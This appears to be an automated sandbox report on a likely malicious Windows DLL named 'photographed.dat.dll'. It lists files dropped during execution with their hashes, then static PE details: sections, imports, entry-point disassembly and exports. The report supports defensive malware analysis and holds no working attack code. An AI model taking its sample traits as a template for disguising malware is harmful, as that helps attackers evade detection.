.F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.1.0.3.3.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.1.3.6.<./.P.i.d.>.......

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD01.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4654
Entropy (8bit):	4.457323415558148
Encrypted:	false
SSDEEP:	48:cvIwSD8zsyJgtWI9DeyWgc8sqYjC8fm8M4JCds63xFnAl+q8/13l54SrS9d:uITfAMeTgrsqYLJAEQbDW9d
MD5:	087DE816C8FC88544B7AB483CFEE9F37
SHA1:	80A0526CF3A23374E13C62D9241DA585B7AB7E2D
SHA-256:	C36CAE6660D1AE60138E5944B2AFE39AF5E363A13C857BF243BE2D700B6317CD
SHA-512:	74A0EEC295B954E4FC8F9104B03D10D868A05B6710B649BBD81E389DFB9BBA75EFC46FC795678A35FE50F078584A5A1339294B31C642CFDD7280024C37FA930D
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="17134" />.. <arg nm="vercsdbld" val="1" />.. <arg nm="verqfe" val="1" />.. <arg nm="csdbld" val="1" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid" val="244" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="2065353" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.1.17134.0-11.0.47" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="4096" />..

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD10.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4654
Entropy (8bit):	4.457062994191233
Encrypted:	false
SSDEEP:	48:cvIwSD8zsyJgtWI9DeyWgc8sqYjC8fm8M4JCds63xF0o+q8/13ljH4SrS8d:uITfAMeTgrsqYzJAzQhDW8d
MD5:	D6E931AAEEFBF1A6FD39AD66F97FF17D
SHA1:	D166C2462C1A9D90B7C9C7C720CC1E6F6262E4A8
SHA-256:	2A10416B468571ED1E0F4CA054367F035174B9A3932B046F2A48B88B5DA86A9B
SHA-512:	399A31F2D2083904DC69D71322A8390B75783D6ADE14EBC5F5DE0E1F314ACC3F37B6CF97F0A492D74F90A1411A83800962046CCE31F6A50A43EA0C197067E436
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="17134" />.. <arg nm="vercsdbld" val="1" />.. <arg nm="verqfe" val="1" />.. <arg nm="csdbld" val="1" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid" val="244" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="2065353" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.1.17134.0-11.0.47" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="4096" />..

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Windows\SysWOW64\wermgr.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 63843 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	63843
Entropy (8bit):	7.99568798138569
Encrypted:	true
SSDEEP:	1536:MRxM2u+06GOIVUvVmMKAfUfsrPa1jfCu18ZNMe3v:KMH+F3IacMZ2CPACu1GN7v
MD5:	3AC860860707BAAF32469FA7CC7C0192
SHA1:	C33C2ACDABA0E6FA41FD2F00F186804722477639
SHA-256:	D015145D551ECD14916270EFAD773BBC9FD57FAD2228D2C24559F696C961D904
SHA-512:	D62AD2408C969A95550FB87EFDA50F988770BA5E39972041BF85924275BAF156B8BEC309ECC6409E5ACDD37EC175DEA40EFF921AB58933B5B5B5D35A6147567C
Malicious:	false
Preview:	MSCF....c.......,...................I..................V. .authroot.stl....e/5..CK..8U....a..t2.1.P. J.".t..2F2e....&))$7I.4...e...+SJE...[.T/..{......c.k....?..Z....bz..qzq.l...,.{...i......39..a.ia....&.3.L2...CTf....I7. ....o.2.0a1m.PG.t.......GH.k.6#L.t2.4._.Y!B.h.....NP~..<Z.G..F#..x"f%...x.aF(.J.3...bf7y.j....)...3......y7UZ..7g~9......."._.t_"K.S...">..,.......V..}.K.Vv3[...A.9O..Ea\..+CEv...6CBKt...K..5qa....!..<./X.......r.. ?(.\[. ......y..... ..V.s.`...k@.`........p...GY..;.`....v..ou..........GH.6.l...P2.(8g.....".......-#...h.U.t..{o./e.wAST.f}0R.(.NM.{...{.=Ch.va'.?W...C....T.pw=.W~+......u.`D.)(..VdN. .py@...%...YY.>.`.....Y.U........}...9....\V~=..-...Q......_0.o.nZ....(6.....4.}.`...s.O.K5.W..4.....s,}...6.....'.8&}.{.....RlZ.?.D4).(.....O......V..V.pk.:]...,.f`D..e.SO.G.%.:).......eo.bU}.....g..$.gui..h.;-....he(.XoY;..6a..x..`lq....:.F!..l.X....!...Lg..53.._....S..G..`...N\|..Zx..o.#}Lnd1.V.eE....I.'..`.....KnN....3....{.

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Windows\SysWOW64\wermgr.exe
File Type:	data
Category:	dropped
Size (bytes):	330
Entropy (8bit):	3.116771890515969
Encrypted:	false
SSDEEP:	6:kKlONFlwFN+SkQlPlEGYRMY9z+4KlDA3RUeg/U3lWQy:ANI2kPlE99SNxAhUe7oQy
MD5:	484DBD248D3B361F08AB51B836A604C1
SHA1:	8957FA1FC8ED8A1F7708595943F614165057F303
SHA-256:	A4ACDB44B8D8E0DD7D95AC663354246645E3A10865CCD78E6F6EDEC851872283
SHA-512:	2402DF038CD18846B63155806816D4E223D6E80A01D1D39894E19D759A57FA6D783CA3855DBDBE3145158535DFABD633D0EE2C8502AB14F726884B0FE67723E8
Malicious:	false
Preview:	p...... ........8......(....................................................... ............w......(...........c...h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".4.6.e.e.f.7.f.b.9.e.7.7.d.9.1.:.0."...

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\GM1SFAFG.htm

Download File

Process:	C:\Windows\SysWOW64\wermgr.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (540)
Category:	dropped
Size (bytes):	125289
Entropy (8bit):	4.77895407529033
Encrypted:	false
SSDEEP:	3072:3fSp4o9/vDD0pB4B+VCD8pAHQzHk9gIFaNXQejUdQ2N8eY:3fSD8eY
MD5:	C1CE7B29280F9C81AC0B13A5C8C3D984
SHA1:	8458516C961BCCCA5F3E31D628C602D96A293A7F
SHA-256:	E7A4F996BF89352870A33FA0C3637B92164BE6A0CB90167A8516225BC52695F2
SHA-512:	4C0E3F2A020C23A886F15572CBDE86488967CB2DDC4E1F3822BE939520469BDE54404E69D712BF9A557F005160A9EEB1A10743885EEA28B2FCE478B3C6F31D0C
Malicious:	false
Preview:	<!DOCTYPE html>... . . . . . . . . . .. . . . . .. . <html lang="en">. <head>. <meta name="pageKey" content="d_homepage-guest-home">. --> <meta name="locale" content="en_US">. <meta id="config" data-app-version="2.1.744" data-call-tree-id="AAX8/G3l18j74m96QqVFNQ==" data-jet-tags="guest-homepage" data-multiproduct-name="homepage-guest-frontend" data-service-name="homepage-guest-frontend" data-browser-id="82ea3cb5-224d-4308-854d-4809ef6a4c33" data-enable-page-view-heartbeat-tracking data-disable-comscore-tracking data-page-instance="urn:li:page:d_homepage-guest-home;+fFaSm7HRRi+TVZWV9hKoA==" data-disable-jsbeacon-pagekey-suffix="false" data-member-id="0">.. <link rel="canonical" href="https://www.linkedin.com/">. <link rel="alternate" hreflang="de" href="https://de.linkedin.com/">. <link rel="alternate" hreflang="en-IE" href="https://ie.linkedin.com/">. <link rel="alternate"

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\t5[1]

Download File

Process:	C:\Windows\SysWOW64\wermgr.exe
File Type:	ASCII text, with no line terminators
Category:	modified
Size (bytes):	188
Entropy (8bit):	5.683975673866817
Encrypted:	false
SSDEEP:	3:hiKNpVnQOJLJx9TrdncC2ZRsrJscNKan2k7b9aUnTWUlWH8MPZNtU8IjdzgynRkU:z7nbJNndmsdVdn20fS8MPZ/wzgyRkU
MD5:	B7729F63A255C1E106EA8D41A0A66937
SHA1:	10AE8840352BAA6C6FE1AD9792B5F5F3BDEB7A2E
SHA-256:	CBCE31F5BAC379FDE53E113E24D609AE4220F703BCE69A949A91D7034773B493
SHA-512:	268886B4FD8540AB75660E06A08F37662C7C7B9BE96B09F1C285E7A3C0AB5EC0E25C0F48B67446F50374A32B602778ADF8846F10C6F7A33D4A52B3430D377031
Malicious:	false
Preview:	yuGJ6IBiidz0EGMRiEkpR4BxnlvlohFNF/X6N/yI9egyQI7iQecol2G3qb8AINRNYzRZJHyhK7TZMbdO9MYkodBYhqZXFuSAc9vkeAOhlQSMkeVJqMsVBE+RC1Bv3t10jIEuFGs4N3aqX2U+qfYhy6GjQjG+NhHzb1tdYZF9IEp8oMEWBhhPvFDCgiPc

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1572864
Entropy (8bit):	4.293654975452905
Encrypted:	false
SSDEEP:	12288:1fzW+VDd5UcH0NAj6+zKLJNhv8+ZThEKWrcPxHDoB6pQf2/3jLPLeFQ:BW+VDd5UcH0NAjsFk
MD5:	7B7E3A3A4DC4AB70EFA11E58E42AEC8C
SHA1:	7C468DA95C394352219912E71ED149D290816C01
SHA-256:	B126447C0B427ECD681F31C08481ED6E92B7EF72AD80BA92AD0E7AFEA45F6294
SHA-512:	8A9928C6533BCFBBB60ECEECA42274E762AC940E63B2356CFB638E1B84C552F28CD7B34EA9EDC410304B7ED5D2E86E5D6B72114C0F985FD682179CFDB6263DA4
Malicious:	false
Preview:	regfj...j...p.\..,.................. ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e...4............E.4............E.....5............E.rmtm......................................................................................................................................................................................................................................................................................................................................................A........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\appcompat\Programs\Amcache.hve.LOG1

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	3.830178712996457
Encrypted:	false
SSDEEP:	384:oIm5Rftx1RPJ4JywHFnql9OsIRCMYVVln:vIRftx1xJ4JzHF+9OKMYJ
MD5:	6E5A4D6E91E9F5B0D250AAD80C81845A
SHA1:	B980E0A4358E06E648EF9E15A9E239543AC1CF5F
SHA-256:	6D5DB6F37AACF929CA3692EBB7B63A8E1C7A73ABB967A84B70ACD7D221FF96F2
SHA-512:	B64A88D17E5C508EA294213F4FCA98D3633B5099A131C8D34BE2CBD46F9DCF5FD9ABC77C08D61FE98D6F0F445DCEE703C4948C2CA215BC60B74BA6E860935385
Malicious:	false
Preview:	regfi...i...p.\..,.................. ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e...4............E.4............E.....5............E.rmtm......................................................................................................................................................................................................................................................................................................................................................AHvLE.>......i...............pG...;.$@/.........0..............hbin................p.\..,..........nk,..\|..........h........................... ...........................&...{ad79c032-a2ea-f756-e377-72fb9332c3ae}......nk ..\|.......... ........................... .......Z.......................Root........lf......Root....nk ..\|.......................}.............. ..............................DeviceCensus.......................vk..................WritePermissionsCheck.......p...

C:\Windows\appcompat\Programs\Amcache.hve.tmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	1.8898448102956298
Encrypted:	false
SSDEEP:	48:SHV5C1pYdAWmcZIRGAv23SS3eX5/cwlApldplCPjD04zISwE:S/C1ppcfAv0C0QALdLq/zIDE
MD5:	191B4618FC4FC6B9901196D54B5419B6
SHA1:	5E6E50E3CA2CDBBFEE07CE23CC093E7DD17C8483
SHA-256:	E30A7C645BCD9CBBEAF2CE9A76F1585E7FB086921CC447440E713A19B8DD6352
SHA-512:	86FBAD5E5F514E706F209B892D0665249D5D682EC5FF06B3E4D72E3B185B8857172CD4499F9BD7407EFF732202517559FC61BF7704EA339979C92E6887BCC52D
Malicious:	false
Preview:	regf................................ ...........C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e...t.m.p...v.............-.v.............-.....w.............-.rmtm....................................................................................................................................................................................................................................................................................................................................................>..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\appcompat\Programs\Amcache.hve.tmp.LOG1

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	1.9234441256749941
Encrypted:	false
SSDEEP:	48:kHV5L+SO8pYdAWmcZIRGAv23SS3eX5/cwlApldplCPjD04zISwE:k/L+h8ppcfAv0C0QALdLq/zIDE
MD5:	B39B0D3D7C48AFDA01C0893BCFAD1AF6
SHA1:	4AF9DE72B2609D15B3A69AE2C9CCC7E04D1351C3
SHA-256:	745C4D01F287E366E870670FC56AC64CBDD7AD32AC0C336E15086A400A9BCA48
SHA-512:	C286768B583A831CBBD373199FA78D2E4267624EA969F4A30617543BCEE6128C897D059F8BD8C51AFCEEFE5770346D6B8F3F187AE54342F04FA113916A4EEEF4
Malicious:	false
Preview:	regf................................ ...........C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e...t.m.p...v.............-.v.............-.....w.............-.rmtm....................................................................................................................................................................................................................................................................................................................................................>..HvLE....................+.C./..F.Ty..u.S........hbin................................nk,............h...........0...........................................&...{11517B7C-E79D-4e20-961B-75A811715ADD}......sk..............(.................................................................................8......................1.?l.cL<.P...b....~z...........8......................1.?l.cL<.P...b....~z.............?...................?...................?........... ... ........... ...

Static File Info

General

File type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Entropy (8bit):	7.135257361651807
TrID:	Win32 Dynamic Link Library (generic) (1002004/3) 99.60% Generic Win/DOS Executable (2004/3) 0.20% DOS Executable Generic (2002/1) 0.20% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	photographed.dat.dll
File size:	366760
MD5:	2c55c2c1b7fbc68e11f48a6a13a34ec1
SHA1:	725de881de6a04ebbdc7422710daa343af3dfc66
SHA256:	6b157281cbb1af882dc0e88eb4832bb892e8c2e1678e0bcf30050d47f015f77f
SHA512:	b34069d217f25824bd6f54467c2f4269be0964b38c0ee8c96a52ea35d7f13c0e426a8629c3e5ae8f55c30cea7d6719c403e59f738f514321c50cf2c67591a454
SSDEEP:	6144:ELh9nrxRw13UyU2G8g1QYYZTDt3n2x+Bdv5zsjiBsTYrPlUEYD/QzkRWAFctOp6c:mInTDtXF15zsjiyZ/0tSkStJB/ts
TLSH:	B774A0A1394084B7F79F06328428D76B90FEA74027F981D71F7CDA5A2EA05C1ED315A3
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......uc.&1..u1..u1..u...u3..u8ziu;..ucj.t4..u1..u...ucj.t:..ucj.t6..ucj.t`..ucj.t0..ucj.u0..ucj.t0..uRich1..u................PE..L..

File Icon


Icon Hash:	7ae282899bbab082

Static PE Info

General

Entrypoint:	0x100297c0
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x10000000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE, DLL
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, GUARD_CF
Time Stamp:	0x5D30EA7C [Thu Jul 18 21:54:04 2019 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	5f7981b73516d0a40ddc313c181df7bc

Authenticode Signature

Signature Valid:
Signature Issuer:
Signature Validation Error:
Error Number:
Not Before, Not After
Subject Chain
Version:
Thumbprint MD5:
Thumbprint SHA-1:
Thumbprint SHA-256:
Serial:

Entrypoint Preview

Instruction
mov eax, 00000001h
retn 000Ch
add eax, 0004E1E8h
add bh, bh
jne 00007FD5DCC34932h
push dword ptr [ebp+0Ch]
push dword ptr [ebp+08h]
call 00007FD5DCC347D8h
add esp, 0Ch
pop ebp
retn 000Ch
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
push ebp
mov ebp, esp
push esi
push dword ptr [ebp+08h]
mov esi, ecx
call 00007FD5DCC12D57h
mov dword ptr [esi], 10003BF0h
mov eax, esi
pop esi
pop ebp
retn 0004h
and dword ptr [ecx+04h], 00000000h
mov eax, ecx
and dword ptr [ecx+08h], 00000000h
mov dword ptr [ecx+04h], 10003BF8h
mov dword ptr [ecx], 10003BF0h
ret
push ebp
mov ebp, esp
sub esp, 0Ch
lea ecx, dword ptr [ebp-0Ch]
call 00007FD5DCC348FFh
push 1002DD1Ch
lea eax, dword ptr [ebp-0Ch]
push eax
call 00007FD5DCC34F78h
int3
jmp 00007FD5DCC34FA2h
push ebp
mov ebp, esp
push 00000000h
call dword ptr [10036094h]
push dword ptr [ebp+08h]
call dword ptr [10036098h]
push C0000409h
call dword ptr [10036040h]
push eax
call dword ptr [10036090h]
pop ebp
ret
push ebp
mov ebp, esp
sub esp, 00000324h
push 00000017h
call 00007FD5DCC34FCAh
test eax, eax
je 00007FD5DCC34927h
push 00000002h
pop ecx
int 29h
mov dword ptr [00000098h], eax

Rich Headers

Programming Language:

[IMP] VS2008 SP1 build 30729

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x2dd60	0x4b9c	.text
IMAGE_DIRECTORY_ENTRY_IMPORT	0x36228	0xb4	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x38000	0x408	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x39000	0x41e0	.rsrc
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x39000	0x2c50	.rsrc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x3c20	0x38	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x3c58	0x40	.text
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x36000	0x224	.idata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x318fc	0x31a00	False	0.4846160658060453	data	6.473830763626044	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0x33000	0x2ed4	0x2c00	False	0.1621981534090909	data	4.8559210172488525	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x36000	0x110c	0x1200	False	0.4971788194444444	data	5.287070500270899	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x38000	0x1a6e0	0x1b000	False	0.9550600405092593	data	7.905497592919236	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x53000	0x2c50	0x2e00	False	0.6877547554347826	data	6.460394547113394	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_VERSION	0x38060	0x3a4	data	English	United States

Imports

DLL

Import

KERNEL32.dll

SetLastError, DeleteTimerQueueTimer, ChangeTimerQueueTimer, CreateTimerQueueTimer, GetLogicalProcessorInformation, TlsFree, TlsSetValue, TlsGetValue, TlsAlloc, GetThreadPriority, SetThreadPriority, CreateThread, SwitchToThread, SignalObjectAndWait, Sleep, GetCurrentThreadId, GetCurrentProcess, WaitForSingleObjectEx, SetEvent, GetLastError, DuplicateHandle, CloseHandle, GetCurrentThread, CreateTimerQueue, QueryDepthSList, InterlockedFlushSList, InterlockedPushEntrySList, InterlockedPopEntrySList, GetProcAddress, GetNumaHighestNodeNumber, DisableThreadLibraryCalls, GetSystemTimeAsFileTime, GetCurrentProcessId, QueryPerformanceCounter, IsDebuggerPresent, IsProcessorFeaturePresent, TerminateProcess, SetUnhandledExceptionFilter, UnhandledExceptionFilter, GetModuleHandleA, GetModuleFileNameW, FreeLibraryAndExitThread, FreeLibrary, GetThreadTimes, OutputDebugStringW, LoadLibraryW, LoadLibraryExW, GetModuleHandleW, EncodePointer, UnregisterWaitEx, ReleaseSemaphore, InitializeSListHead, SetProcessAffinityMask, VirtualFree, VirtualProtect, VirtualAlloc, GetVersionExW, DeleteCriticalSection, TryEnterCriticalSection, LeaveCriticalSection, EnterCriticalSection, UnregisterWait, RegisterWaitForSingleObject, SetThreadAffinityMask, GetProcessAffinityMask

Exports

Name	Ordinal	Address
m?0?$_SpinWait@$00@details@Concurrency@@QAE@P6AXXZ@Z	1	0x10007370
m?0?$_SpinWait@$0A@@details@Concurrency@@QAE@P6AXXZ@Z	2	0x10007370
m?0SchedulerPolicy@Concurrency@@QAA@IZZ	3	0x10020d30
m?0SchedulerPolicy@Concurrency@@QAE@ABV01@@Z	4	0x10020d50
m?0SchedulerPolicy@Concurrency@@QAE@XZ	5	0x10020d80
m?0_Cancellation_beacon@details@Concurrency@@QAE@XZ	6	0x10010110
m?0_Concurrent_queue_base_v4@details@Concurrency@@IAE@I@Z	7	0x1000e6f0
m?0_Concurrent_queue_iterator_base_v4@details@Concurrency@@IAE@ABV_Concurrent_queue_base_v4@12@@Z	8	0x1000e760
m?0_Condition_variable@details@Concurrency@@QAE@XZ	9	0x10012150
m?0_Context@details@Concurrency@@QAE@PAVContext@2@@Z	10	0x10007a70
m?0_NonReentrantBlockingLock@details@Concurrency@@QAE@XZ	11	0x10016e30
m?0_NonReentrantPPLLock@details@Concurrency@@QAE@XZ	12	0x10016e50
m?0_ReaderWriterLock@details@Concurrency@@QAE@XZ	13	0x10016e60
m?0_ReentrantBlockingLock@details@Concurrency@@QAE@XZ	14	0x10016e30
m?0_ReentrantLock@details@Concurrency@@QAE@XZ	15	0x10016e70
m?0_ReentrantPPLLock@details@Concurrency@@QAE@XZ	16	0x10016e80
m?0_Runtime_object@details@Concurrency@@QAE@H@Z	17	0x10007a80
m?0_Runtime_object@details@Concurrency@@QAE@XZ	18	0x10007aa0
m?0_Scheduler@details@Concurrency@@QAE@PAVScheduler@2@@Z	19	0x10007a70
m?0_Scoped_lock@_NonReentrantPPLLock@details@Concurrency@@QAE@AAV123@@Z	20	0x10016ea0
m?0_Scoped_lock@_ReentrantPPLLock@details@Concurrency@@QAE@AAV123@@Z	21	0x10016ed0
m?0_SpinLock@details@Concurrency@@QAE@ACJ@Z	22	0x100286b0
m?0_StructuredTaskCollection@details@Concurrency@@QAE@PAV_CancellationTokenState@12@@Z	23	0x100244d0
m?0_TaskCollection@details@Concurrency@@QAE@PAV_CancellationTokenState@12@@Z	24	0x10024630
m?0_TaskCollection@details@Concurrency@@QAE@XZ	25	0x100246e0
m?0_Timer@details@Concurrency@@IAE@I_N@Z	26	0x10026cd0
m?0agent@Concurrency@@QAE@AAVScheduleGroup@1@@Z	27	0x10007ac0
m?0agent@Concurrency@@QAE@AAVScheduler@1@@Z	28	0x10007b30
m?0agent@Concurrency@@QAE@XZ	29	0x10007ba0
m?0bad_target@Concurrency@@QAE@PBD@Z	30	0x10013250
m?0bad_target@Concurrency@@QAE@XZ	31	0x10013270
m?0context_self_unblock@Concurrency@@QAE@PBD@Z	32	0x10013290
m?0context_self_unblock@Concurrency@@QAE@XZ	33	0x100132b0
m?0context_unblock_unbalanced@Concurrency@@QAE@PBD@Z	34	0x100132d0
m?0context_unblock_unbalanced@Concurrency@@QAE@XZ	35	0x100132f0
m?0critical_section@Concurrency@@QAE@XZ	36	0x10016f00
m?0default_scheduler_exists@Concurrency@@QAE@PBD@Z	37	0x10013310
m?0default_scheduler_exists@Concurrency@@QAE@XZ	38	0x10013330
m?0event@Concurrency@@QAE@XZ	39	0x10012170
m?0improper_lock@Concurrency@@QAE@PBD@Z	40	0x10013350
m?0improper_lock@Concurrency@@QAE@XZ	41	0x10013370
m?0improper_scheduler_attach@Concurrency@@QAE@PBD@Z	42	0x10013390
m?0improper_scheduler_attach@Concurrency@@QAE@XZ	43	0x100133b0
m?0improper_scheduler_detach@Concurrency@@QAE@PBD@Z	44	0x100133d0
m?0improper_scheduler_detach@Concurrency@@QAE@XZ	45	0x100133f0
m?0improper_scheduler_reference@Concurrency@@QAE@PBD@Z	46	0x10013410
m?0improper_scheduler_reference@Concurrency@@QAE@XZ	47	0x10013430
m?0invalid_link_target@Concurrency@@QAE@PBD@Z	48	0x10013450
m?0invalid_link_target@Concurrency@@QAE@XZ	49	0x10013470
m?0invalid_multiple_scheduling@Concurrency@@QAE@PBD@Z	50	0x10013490
m?0invalid_multiple_scheduling@Concurrency@@QAE@XZ	51	0x100134b0
m?0invalid_oversubscribe_operation@Concurrency@@QAE@PBD@Z	52	0x100134d0
m?0invalid_oversubscribe_operation@Concurrency@@QAE@XZ	53	0x100134f0
m?0invalid_scheduler_policy_key@Concurrency@@QAE@PBD@Z	54	0x10013510
m?0invalid_scheduler_policy_key@Concurrency@@QAE@XZ	55	0x10013530
m?0invalid_scheduler_policy_thread_specification@Concurrency@@QAE@PBD@Z	56	0x10013550
m?0invalid_scheduler_policy_thread_specification@Concurrency@@QAE@XZ	57	0x10013570
m?0invalid_scheduler_policy_value@Concurrency@@QAE@PBD@Z	58	0x10013590
m?0invalid_scheduler_policy_value@Concurrency@@QAE@XZ	59	0x100135b0
m?0message_not_found@Concurrency@@QAE@PBD@Z	60	0x100135d0
m?0message_not_found@Concurrency@@QAE@XZ	61	0x100135f0
m?0missing_wait@Concurrency@@QAE@PBD@Z	62	0x10013610
m?0missing_wait@Concurrency@@QAE@XZ	63	0x10013630
m?0nested_scheduler_missing_detach@Concurrency@@QAE@PBD@Z	64	0x10013650
m?0nested_scheduler_missing_detach@Concurrency@@QAE@XZ	65	0x10013670
m?0operation_timed_out@Concurrency@@QAE@PBD@Z	66	0x10013690
m?0operation_timed_out@Concurrency@@QAE@XZ	67	0x100136b0
m?0reader_writer_lock@Concurrency@@QAE@XZ	68	0x10016f40
m?0scheduler_not_attached@Concurrency@@QAE@PBD@Z	69	0x100136d0
m?0scheduler_not_attached@Concurrency@@QAE@XZ	70	0x100136f0
m?0scheduler_resource_allocation_error@Concurrency@@QAE@J@Z	71	0x10013710
m?0scheduler_resource_allocation_error@Concurrency@@QAE@PBDJ@Z	72	0x10013730
m?0scheduler_worker_creation_error@Concurrency@@QAE@J@Z	73	0x10013760
m?0scheduler_worker_creation_error@Concurrency@@QAE@PBDJ@Z	74	0x10013780
m?0scoped_lock@critical_section@Concurrency@@QAE@AAV12@@Z	75	0x10016ea0
m?0scoped_lock@reader_writer_lock@Concurrency@@QAE@AAV12@@Z	76	0x10016f70
m?0scoped_lock_read@reader_writer_lock@Concurrency@@QAE@AAV12@@Z	77	0x10016fa0
m?0unsupported_os@Concurrency@@QAE@PBD@Z	78	0x100137a0
m?0unsupported_os@Concurrency@@QAE@XZ	79	0x100137c0
m?1SchedulerPolicy@Concurrency@@QAE@XZ	80	0x10020df0
m?1_Cancellation_beacon@details@Concurrency@@QAE@XZ	81	0x100101f0
